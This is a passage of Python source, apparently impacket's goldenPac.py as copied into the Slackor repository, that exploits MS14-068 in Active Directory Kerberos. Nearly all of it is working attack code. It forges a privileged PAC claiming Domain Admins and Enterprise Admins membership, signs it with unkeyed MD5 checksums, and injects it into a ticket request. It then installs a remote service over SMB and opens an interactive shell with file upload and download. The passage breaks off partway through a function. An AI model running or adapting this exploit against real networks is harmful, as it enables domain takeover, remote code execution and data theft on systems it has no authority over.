github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/goldenPac.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: Alberto Solino (@agsolino) 9 # 10 # Description: 11 # MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! 12 # Well done :). 13 # This one also established a SMBConnection and PSEXEcs the 14 # target. 15 # A few important things: 16 # 1) you must use the domain FQDN or use -dc-ip switch 17 # 2) target must be a FQDN as well and matching the target's NetBIOS 18 # 3) Just RC4 at the moment - DONE (aes256 added) 19 # 4) It won't work on Kerberos-only Domains (but can be fixed) 20 # 5) Use WMIEXEC approach instead 21 # 22 # E.G: 23 # python goldenPac domain.net/normaluser@domain-host 24 # the password will be asked, or 25 # 26 # python goldenPac.py domain.net/normaluser:mypwd@domain-host 27 # 28 # if domain.net and/or domain-host do not resolve, add them 29 # to the hosts file or use the -dc-ip and -target-ip parameters 30 # 31 from __future__ import division 32 from __future__ import print_function 33 import cmd 34 import logging 35 import os 36 import random 37 import string 38 import time 39 from binascii import unhexlify 40 from threading import Thread, Lock 41 from six import PY3 42 43 from impacket.dcerpc.v5 import epm 44 from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ 45 DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ 46 NULLGUID 47 from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED 48 from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS 49 from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES 50 from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx 51 from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY 52 from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ 53 PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ 54 PAC_PRIVSVR_CHECKSUM, PACTYPE 55 from impacket.examples import logger 56 from impacket.examples import remcomsvc, serviceinstall 57 from impacket.smbconnection import SMBConnection, smb 58 from impacket.structure import Structure 59 60 ################################################################################ 61 # HELPER FUNCTIONS 62 ################################################################################ 63 64 def getFileTime(t): 65 t *= 10000000 66 t += 116444736000000000 67 return t 68 69 class RemComMessage(Structure): 70 structure = ( 71 ('Command','4096s=""'), 72 ('WorkingDir','260s=""'), 73 ('Priority','<L=0x20'), 74 ('ProcessID','<L=0x01'), 75 ('Machine','260s=""'), 76 ('NoWait','<L=0'), 77 ) 78 79 class RemComResponse(Structure): 80 structure = ( 81 ('ErrorCode','<L=0'), 82 ('ReturnCode','<L=0'), 83 ) 84 85 RemComSTDOUT = "RemCom_stdout" 86 RemComSTDIN = "RemCom_stdin" 87 RemComSTDERR = "RemCom_stderr" 88 89 lock = Lock() 90 91 class PSEXEC: 92 def __init__(self, command, username, domain, smbConnection, TGS, copyFile): 93 self.__username = username 94 self.__command = command 95 self.__path = None 96 self.__domain = domain 97 self.__exeFile = None 98 self.__copyFile = copyFile 99 self.__TGS = TGS 100 self.__smbConnection = smbConnection 101 102 def run(self, addr): 103 rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection) 104 dce = rpctransport.get_dce_rpc() 105 try: 106 dce.connect() 107 except Exception as e: 108 logging.critical(str(e)) 109 sys.exit(1) 110 111 global dialect 112 dialect = rpctransport.get_smb_connection().getDialect() 113 114 try: 115 unInstalled = False 116 s = rpctransport.get_smb_connection() 117 118 # We don't wanna deal with timeouts from now on. 119 s.setTimeout(100000) 120 if self.__exeFile is None: 121 installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) 122 else: 123 try: 124 f = open(self.__exeFile) 125 except Exception as e: 126 logging.critical(str(e)) 127 sys.exit(1) 128 installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) 129 130 installService.install() 131 132 if self.__exeFile is not None: 133 f.close() 134 135 # Check if we need to copy a file for execution 136 if self.__copyFile is not None: 137 installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) 138 # And we change the command to be executed to this filename 139 self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command 140 141 tid = s.connectTree('IPC$') 142 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) 143 144 packet = RemComMessage() 145 pid = os.getpid() 146 147 packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) 148 if self.__path is not None: 149 packet['WorkingDir'] = self.__path 150 packet['Command'] = self.__command 151 packet['ProcessID'] = pid 152 153 s.writeNamedPipe(tid, fid_main, packet.getData()) 154 155 # Here we'll store the command we type so we don't print it back ;) 156 # ( I know.. globals are nasty :P ) 157 global LastDataSent 158 LastDataSent = '' 159 160 # Create the pipes threads 161 stdin_pipe = RemoteStdInPipe(rpctransport, 162 r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), 163 smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS, 164 installService.getShare()) 165 stdin_pipe.start() 166 stdout_pipe = RemoteStdOutPipe(rpctransport, 167 r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), 168 smb.FILE_READ_DATA) 169 stdout_pipe.start() 170 stderr_pipe = RemoteStdErrPipe(rpctransport, 171 r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), 172 smb.FILE_READ_DATA) 173 stderr_pipe.start() 174 175 # And we stay here till the end 176 ans = s.readNamedPipe(tid,fid_main,8) 177 178 if len(ans): 179 retCode = RemComResponse(ans) 180 logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( 181 self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) 182 installService.uninstall() 183 if self.__copyFile is not None: 184 # We copied a file for execution, let's remove it 185 s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 186 unInstalled = True 187 sys.exit(retCode['ErrorCode']) 188 189 except SystemExit: 190 raise 191 except Exception as e: 192 logging.debug(str(e)) 193 if unInstalled is False: 194 installService.uninstall() 195 if self.__copyFile is not None: 196 s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 197 sys.stdout.flush() 198 sys.exit(1) 199 200 def openPipe(self, s, tid, pipe, accessMask): 201 pipeReady = False 202 tries = 50 203 while pipeReady is False and tries > 0: 204 try: 205 s.waitNamedPipe(tid,pipe) 206 pipeReady = True 207 except Exception as e: 208 print(str(e)) 209 tries -= 1 210 time.sleep(2) 211 pass 212 213 if tries == 0: 214 raise Exception('Pipe not ready, aborting') 215 216 fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) 217 218 return fid 219 220 class Pipes(Thread): 221 def __init__(self, transport, pipe, permissions, TGS=None, share=None): 222 Thread.__init__(self) 223 self.server = 0 224 self.transport = transport 225 self.credentials = transport.get_credentials() 226 self.tid = 0 227 self.fid = 0 228 self.share = share 229 self.port = transport.get_dport() 230 self.pipe = pipe 231 self.permissions = permissions 232 self.TGS = TGS 233 self.daemon = True 234 235 def connectPipe(self): 236 try: 237 lock.acquire() 238 global dialect 239 self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), 240 sess_port=self.port, preferredDialect=dialect) 241 user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 242 self.server.login(user, passwd, domain, lm, nt) 243 lock.release() 244 self.tid = self.server.connectTree('IPC$') 245 246 self.server.waitNamedPipe(self.tid, self.pipe) 247 self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) 248 self.server.setTimeout(1000000) 249 except: 250 logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) 251 252 253 class RemoteStdOutPipe(Pipes): 254 def __init__(self, transport, pipe, permisssions): 255 Pipes.__init__(self, transport, pipe, permisssions) 256 257 def run(self): 258 self.connectPipe() 259 while True: 260 try: 261 ans = self.server.readFile(self.tid,self.fid, 0, 1024) 262 except: 263 pass 264 else: 265 try: 266 global LastDataSent 267 if ans != LastDataSent: 268 sys.stdout.write(ans.decode('cp437')) 269 sys.stdout.flush() 270 else: 271 # Don't echo what I sent, and clear it up 272 LastDataSent = '' 273 # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 274 # it will give false positives tho.. we should find a better way to handle this. 275 if LastDataSent > 10: 276 LastDataSent = '' 277 except: 278 pass 279 280 class RemoteStdErrPipe(Pipes): 281 def __init__(self, transport, pipe, permisssions): 282 Pipes.__init__(self, transport, pipe, permisssions) 283 284 def run(self): 285 self.connectPipe() 286 while True: 287 try: 288 ans = self.server.readFile(self.tid,self.fid, 0, 1024) 289 except: 290 pass 291 else: 292 try: 293 sys.stderr.write(str(ans)) 294 sys.stderr.flush() 295 except: 296 pass 297 298 class RemoteShell(cmd.Cmd): 299 def __init__(self, server, port, credentials, tid, fid, TGS, share): 300 cmd.Cmd.__init__(self, False) 301 self.prompt = '\x08' 302 self.server = server 303 self.transferClient = None 304 self.tid = tid 305 self.fid = fid 306 self.credentials = credentials 307 self.share = share 308 self.port = port 309 self.TGS = TGS 310 self.intro = '[!] Press help for extra shell commands' 311 312 def connect_transferClient(self): 313 self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, 314 preferredDialect=dialect) 315 user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 316 self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) 317 318 def do_help(self, line): 319 print(""" 320 lcd {path} - changes the current local directory to {path} 321 exit - terminates the server process (and this session) 322 put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) 323 get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir 324 ! {cmd} - executes a local shell cmd 325 """ % (self.share, self.share)) 326 self.send_data('\r\n', False) 327 328 def do_shell(self, s): 329 os.system(s) 330 self.send_data('\r\n') 331 332 def do_get(self, src_path): 333 try: 334 if self.transferClient is None: 335 self.connect_transferClient() 336 337 import ntpath 338 filename = ntpath.basename(src_path) 339 fh = open(filename,'wb') 340 logging.info("Downloading %s\\%s" % (self.share, src_path)) 341 self.transferClient.getFile(self.share, src_path, fh.write) 342 fh.close() 343 except Exception as e: 344 logging.error(str(e)) 345 pass 346 347 self.send_data('\r\n') 348 349 def do_put(self, s): 350 try: 351 if self.transferClient is None: 352 self.connect_transferClient() 353 params = s.split(' ') 354 if len(params) > 1: 355 src_path = params[0] 356 dst_path = params[1] 357 elif len(params) == 1: 358 src_path = params[0] 359 dst_path = '/' 360 361 src_file = os.path.basename(src_path) 362 fh = open(src_path, 'rb') 363 f = dst_path + '/' + src_file 364 pathname = f.replace('/','\\') 365 logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) 366 if PY3: 367 self.transferClient.putFile(self.share, pathname, fh.read) 368 else: 369 self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) 370 fh.close() 371 except Exception as e: 372 logging.error(str(e)) 373 pass 374 375 self.send_data('\r\n') 376 377 378 def do_lcd(self, s): 379 if s == '': 380 print(os.getcwd()) 381 else: 382 try: 383 os.chdir(s) 384 except Exception as e: 385 logging.error(str(e)) 386 self.send_data('\r\n') 387 388 def emptyline(self): 389 self.send_data('\r\n') 390 return 391 392 def default(self, line): 393 if PY3: 394 self.send_data(line.encode('cp437')+b'\r\n') 395 else: 396 self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') 397 398 def send_data(self, data, hideOutput = True): 399 if hideOutput is True: 400 global LastDataSent 401 LastDataSent = data 402 else: 403 LastDataSent = '' 404 self.server.writeFile(self.tid, self.fid, data) 405 406 407 class RemoteStdInPipe(Pipes): 408 def __init__(self, transport, pipe, permisssions, TGS=None, share=None): 409 Pipes.__init__(self, transport, pipe, permisssions, TGS, share) 410 411 def run(self): 412 self.connectPipe() 413 shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) 414 shell.cmdloop() 415 416 417 class MS14_068: 418 # 6.1. Unkeyed Checksums 419 # Vulnerable DCs are accepting at least these unkeyed checksum types 420 CRC_32 = 1 421 RSA_MD4 = 2 422 RSA_MD5 = 7 423 class VALIDATION_INFO(TypeSerialization1): 424 structure = ( 425 ('Data', PKERB_VALIDATION_INFO), 426 ) 427 428 def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', 429 copyFile=None, writeTGT=None, kdcHost=None): 430 self.__username = username 431 self.__password = password 432 self.__domain = domain 433 self.__rid = 0 434 self.__lmhash = '' 435 self.__nthash = '' 436 self.__target = target 437 self.__targetIp = targetIp 438 self.__kdcHost = None 439 self.__copyFile = copyFile 440 self.__command = command 441 self.__writeTGT = writeTGT 442 self.__domainSid = '' 443 self.__forestSid = None 444 self.__domainControllers = list() 445 self.__kdcHost = kdcHost 446 447 if hashes is not None: 448 self.__lmhash, self.__nthash = hashes.split(':') 449 self.__lmhash = unhexlify(self.__lmhash) 450 self.__nthash = unhexlify(self.__nthash) 451 452 def getGoldenPAC(self, authTime): 453 # Ok.. we need to build a PAC_TYPE with the following items 454 455 # 1) KERB_VALIDATION_INFO 456 aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) 457 458 unixTime = getFileTime(aTime) 459 460 kerbdata = KERB_VALIDATION_INFO() 461 462 kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff 463 kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 464 465 # LogoffTime: A FILETIME structure that contains the time the client's logon 466 # session should expire. If the session should not expire, this structure 467 # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 468 # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 469 # an indicator of when to warn the user that the allowed time is due to expire. 470 kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF 471 kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF 472 473 # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 474 # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 475 # client should not be logged off, this structure SHOULD have the dwHighDateTime 476 # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 477 # The Kerberos service ticket end time is a replacement for KickOffTime. 478 # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 479 # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 480 # of when the client should be forcibly disconnected. 481 kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF 482 kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF 483 484 kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 485 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 486 487 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 488 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 489 490 # PasswordMustChange: A FILETIME structure that contains the time at which 491 # theclient's password expires. If the password will not expire, this 492 # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 493 # dwLowDateTime member set to 0xFFFFFFFF. 494 kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF 495 kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF 496 497 kerbdata['EffectiveName'] = self.__username 498 kerbdata['FullName'] = '' 499 kerbdata['LogonScript'] = '' 500 kerbdata['ProfilePath'] = '' 501 kerbdata['HomeDirectory'] = '' 502 kerbdata['HomeDirectoryDrive'] = '' 503 kerbdata['LogonCount'] = 0 504 kerbdata['BadPasswordCount'] = 0 505 kerbdata['UserId'] = self.__rid 506 kerbdata['PrimaryGroupId'] = 513 507 508 # Our Golden Well-known groups! :) 509 groups = (513, 512, 520, 518, 519) 510 kerbdata['GroupCount'] = len(groups) 511 512 for group in groups: 513 groupMembership = GROUP_MEMBERSHIP() 514 groupId = NDRULONG() 515 groupId['Data'] = group 516 groupMembership['RelativeId'] = groupId 517 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 518 kerbdata['GroupIds'].append(groupMembership) 519 520 kerbdata['UserFlags'] = 0 521 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 522 kerbdata['LogonServer'] = '' 523 kerbdata['LogonDomainName'] = self.__domain 524 kerbdata['LogonDomainId'] = self.__domainSid 525 kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' 526 kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD 527 kerbdata['SubAuthStatus'] = 0 528 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 529 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 530 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 531 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 532 kerbdata['FailedILogonCount'] = 0 533 kerbdata['Reserved3'] = 0 534 535 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 536 # asserted by an authentication authority based on proof of possession of client credentials. 537 #extraSids = ('S-1-18-1',) 538 if self.__forestSid is not None: 539 extraSids = ('%s-%s' % (self.__forestSid, '519'),) 540 kerbdata['SidCount'] = len(extraSids) 541 kerbdata['UserFlags'] |= 0x20 542 else: 543 extraSids = () 544 kerbdata['SidCount'] = len(extraSids) 545 546 for extraSid in extraSids: 547 sidRecord = KERB_SID_AND_ATTRIBUTES() 548 sid = RPC_SID() 549 sid.fromCanonical(extraSid) 550 sidRecord['Sid'] = sid 551 sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 552 kerbdata['ExtraSids'].append(sidRecord) 553 554 kerbdata['ResourceGroupDomainSid'] = NULL 555 kerbdata['ResourceGroupCount'] = 0 556 kerbdata['ResourceGroupIds'] = NULL 557 558 validationInfo = self.VALIDATION_INFO() 559 validationInfo['Data'] = kerbdata 560 561 if logging.getLogger().level == logging.DEBUG: 562 logging.debug('VALIDATION_INFO') 563 validationInfo.dump() 564 print ('\n') 565 566 validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() 567 validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) 568 569 # 2) PAC_CLIENT_INFO 570 pacClientInfo = PAC_CLIENT_INFO() 571 pacClientInfo['ClientId'] = unixTime 572 try: 573 name = self.__username.encode('utf-16le') 574 except UnicodeDecodeError: 575 import sys 576 name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') 577 pacClientInfo['NameLength'] = len(name) 578 pacClientInfo['Name'] = name 579 pacClientInfoBlob = pacClientInfo.getData() 580 pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) 581 582 # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA 583 serverChecksum = PAC_SIGNATURE_DATA() 584 585 # If you wanna do CRC32, uncomment this 586 #serverChecksum['SignatureType'] = self.CRC_32 587 #serverChecksum['Signature'] = b'\x00'*4 588 589 # If you wanna do MD4, uncomment this 590 #serverChecksum['SignatureType'] = self.RSA_MD4 591 #serverChecksum['Signature'] = b'\x00'*16 592 593 # If you wanna do MD5, uncomment this 594 serverChecksum['SignatureType'] = self.RSA_MD5 595 serverChecksum['Signature'] = b'\x00'*16 596 597 serverChecksumBlob = serverChecksum.getData() 598 serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) 599 600 # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA 601 privSvrChecksum = PAC_SIGNATURE_DATA() 602 603 # If you wanna do CRC32, uncomment this 604 #privSvrChecksum['SignatureType'] = self.CRC_32 605 #privSvrChecksum['Signature'] = b'\x00'*4 606 607 # If you wanna do MD4, uncomment this 608 #privSvrChecksum['SignatureType'] = self.RSA_MD4 609 #privSvrChecksum['Signature'] = b'\x00'*16 610 611 # If you wanna do MD5, uncomment this 612 privSvrChecksum['SignatureType'] = self.RSA_MD5 613 privSvrChecksum['Signature'] = b'\x00'*16 614 615 privSvrChecksumBlob = privSvrChecksum.getData() 616 privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) 617 618 # The offset are set from the beginning of the PAC_TYPE 619 # [MS-PAC] 2.4 PAC_INFO_BUFFER 620 offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 621 622 # Let's build the PAC_INFO_BUFFER for each one of the elements 623 validationInfoIB = PAC_INFO_BUFFER() 624 validationInfoIB['ulType'] = PAC_LOGON_INFO 625 validationInfoIB['cbBufferSize'] = len(validationInfoBlob) 626 validationInfoIB['Offset'] = offsetData 627 offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 628 629 pacClientInfoIB = PAC_INFO_BUFFER() 630 pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE 631 pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) 632 pacClientInfoIB['Offset'] = offsetData 633 offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 634 635 serverChecksumIB = PAC_INFO_BUFFER() 636 serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM 637 serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) 638 serverChecksumIB['Offset'] = offsetData 639 offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 640 641 privSvrChecksumIB = PAC_INFO_BUFFER() 642 privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM 643 privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) 644 privSvrChecksumIB['Offset'] = offsetData 645 #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 646 647 # Building the PAC_TYPE as specified in [MS-PAC] 648 buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ 649 privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ 650 pacClientInfo.getData() + pacClientInfoAlignment 651 buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 652 653 pacType = PACTYPE() 654 pacType['cBuffers'] = 4 655 pacType['Version'] = 0 656 pacType['Buffers'] = buffers + buffersTail 657 658 blobToChecksum = pacType.getData() 659 660 # If you want to do CRC-32, ucomment this 661 #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) 662 #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) 663 664 # If you want to do MD4, ucomment this 665 #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() 666 #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() 667 668 # If you want to do MD5, ucomment this 669 serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() 670 privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 671 672 buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 673 pacType['Buffers'] = buffers + buffersTail 674 675 authorizationData = AuthorizationData() 676 authorizationData[0] = noValue 677 authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) 678 authorizationData[0]['ad-data'] = pacType.getData() 679 return encoder.encode(authorizationData) 680 681 def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): 682 # Get out Golden PAC 683 goldenPAC = self.getGoldenPAC(authTime) 684 685 decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] 686 687 # Extract the ticket from the TGT 688 ticket = Ticket() 689 ticket.from_asn1(decodedTGT['ticket']) 690 691 # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT 692 ifRelevant = AD_IF_RELEVANT() 693 ifRelevant[0] = noValue 694 ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value) 695 ifRelevant[0]['ad-data'] = goldenPAC 696 697 encodedIfRelevant = encoder.encode(ifRelevant) 698 699 # Key Usage 4 700 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with 701 # the TGS session key (Section 5.4.1) 702 encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) 703 704 tgsReq = TGS_REQ() 705 reqBody = seq_set(tgsReq, 'req-body') 706 707 opts = list() 708 opts.append( constants.KDCOptions.forwardable.value ) 709 opts.append( constants.KDCOptions.renewable.value ) 710 opts.append( constants.KDCOptions.proxiable.value ) 711 712 reqBody['kdc-options'] = constants.encodeFlags(opts) 713 seq_set(reqBody, 'sname', serverName.components_to_asn1) 714 reqBody['realm'] = decodedTGT['crealm'].prettyPrint() 715 716 now = datetime.datetime.utcnow() + datetime.timedelta(days=1) 717 718 reqBody['till'] = KerberosTime.to_asn1(now) 719 reqBody['nonce'] = random.SystemRandom().getrandbits(31) 720 seq_set_iter(reqBody, 'etype', (cipher.enctype,)) 721 reqBody['enc-authorization-data'] = noValue 722 reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) 723 reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant 724 725 apReq = AP_REQ() 726 apReq['pvno'] = 5 727 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 728 729 opts = list() 730 apReq['ap-options'] = constants.encodeFlags(opts) 731 seq_set(apReq,'ticket', ticket.to_asn1) 732 733 authenticator = Authenticator() 734 authenticator['authenticator-vno'] = 5 735 authenticator['crealm'] = decodedTGT['crealm'].prettyPrint() 736 737 clientName = Principal() 738 clientName.from_asn1( decodedTGT, 'crealm', 'cname') 739 740 seq_set(authenticator, 'cname', clientName.components_to_asn1) 741 742 now = datetime.datetime.utcnow() 743 authenticator['cusec'] = now.microsecond 744 authenticator['ctime'] = KerberosTime.to_asn1(now) 745 746 encodedAuthenticator = encoder.encode(authenticator) 747 748 # Key Usage 7 749 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes 750 # TGS authenticator subkey), encrypted with the TGS session 751 # key (Section 5.5.1) 752 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) 753 754 apReq['authenticator'] = noValue 755 apReq['authenticator']['etype'] = cipher.enctype 756 apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 757 758 encodedApReq = encoder.encode(apReq) 759 760 tgsReq['pvno'] = 5 761 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 762 tgsReq['padata'] = noValue 763 tgsReq['padata'][0] = noValue 764 tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 765 tgsReq['padata'][0]['padata-value'] = encodedApReq 766 767 pacRequest = KERB_PA_PAC_REQUEST() 768 pacRequest['include-pac'] = False 769 encodedPacRequest = encoder.encode(pacRequest) 770 771 tgsReq['padata'][1] = noValue 772 tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) 773 tgsReq['padata'][1]['padata-value'] = encodedPacRequest 774 775 message = encoder.encode(tgsReq) 776 777 r = sendReceive(message, domain, kdcHost) 778 779 # Get the session key 780 tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] 781 cipherText = tgs['enc-part']['cipher'] 782 783 # Key Usage 8 784 # TGS-REP encrypted part (includes application session 785 # key), encrypted with the TGS session key (Section 5.4.2) 786 plainText = cipher.decrypt(sessionKey, 8, cipherText) 787 788 encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] 789 790 newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets()) 791 792 return r, cipher, sessionKey, newSessionKey 793 794 def getForestSid(self): 795 logging.debug('Calling NRPC DsrGetDcNameEx()') 796 797 stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost 798 799 rpctransport = transport.DCERPCTransportFactory(stringBinding) 800 801 if hasattr(rpctransport, 'set_credentials'): 802 rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) 803 804 dce = rpctransport.get_dce_rpc() 805 dce.connect() 806 dce.bind(MSRPC_UUID_NRPC) 807 808 resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) 809 forestName = resp['DomainControllerInfo']['DnsForestName'][:-1] 810 logging.debug('DNS Forest name is %s' % forestName) 811 dce.disconnect() 812 813 logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') 814 815 stringBinding = 